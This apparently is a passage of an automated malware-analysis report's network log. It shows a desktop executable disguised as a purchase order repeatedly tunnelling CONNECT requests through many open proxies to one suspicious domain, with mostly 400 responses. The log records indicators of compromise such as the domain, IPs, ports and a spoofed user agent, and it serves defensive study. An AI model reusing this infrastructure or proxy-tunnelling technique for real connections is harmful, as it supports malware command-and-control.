Mar 11, 2024 16:39:51.984432936 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.10	53715	23.137.248.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.541893959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.10	53807	104.24.15.158	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.545224905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.699526072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.10	53699	60.190.68.154	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.553756952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.914647102 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.10	53717	47.56.110.204	8989	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.561610937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.877397060 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 15:24:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.10	53723	49.13.131.163	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.563536882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.871673107 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.10	53835	172.64.207.185	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.567419052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.728499889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.10	53792	166.1.160.46	8088	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.567621946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.960541964 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.10	53718	47.243.205.1	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.627821922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.10	53710	103.83.232.122	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.632225990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.10	53851	104.18.251.208	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.632780075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.786797047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.10	53733	8.217.143.187	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.638149977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.10	53852	104.19.109.209	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.640455008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.795150995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.10	53641	117.160.250.133	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.640950918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.106686115 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.10	52606	199.102.107.145	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.641154051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.10	53743	154.85.58.149	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.641501904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.488920927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489610910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.489341021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.285976887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.082983971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.885883093 CET	321	IN	HTTP/1.1 400 Bad Request Server: openresty/1.15.8.2 Date: Mon, 11 Mar 2024 15:40:02 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.15.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.10	53726	62.109.0.18	24101	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.641504049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.410898924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.504878044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.707918882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.778126001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.874383926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.910882950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.098222971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:31.207566977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.10	53728	45.11.95.166	6004	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.641623020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.489046097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.10	53708	117.160.250.131	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.642250061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.526735067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.028234005 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.10	53739	185.220.226.128	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.643363953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.10	53748	196.20.125.129	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.643894911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.10	53895	104.22.37.236	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.652462959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.806938887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
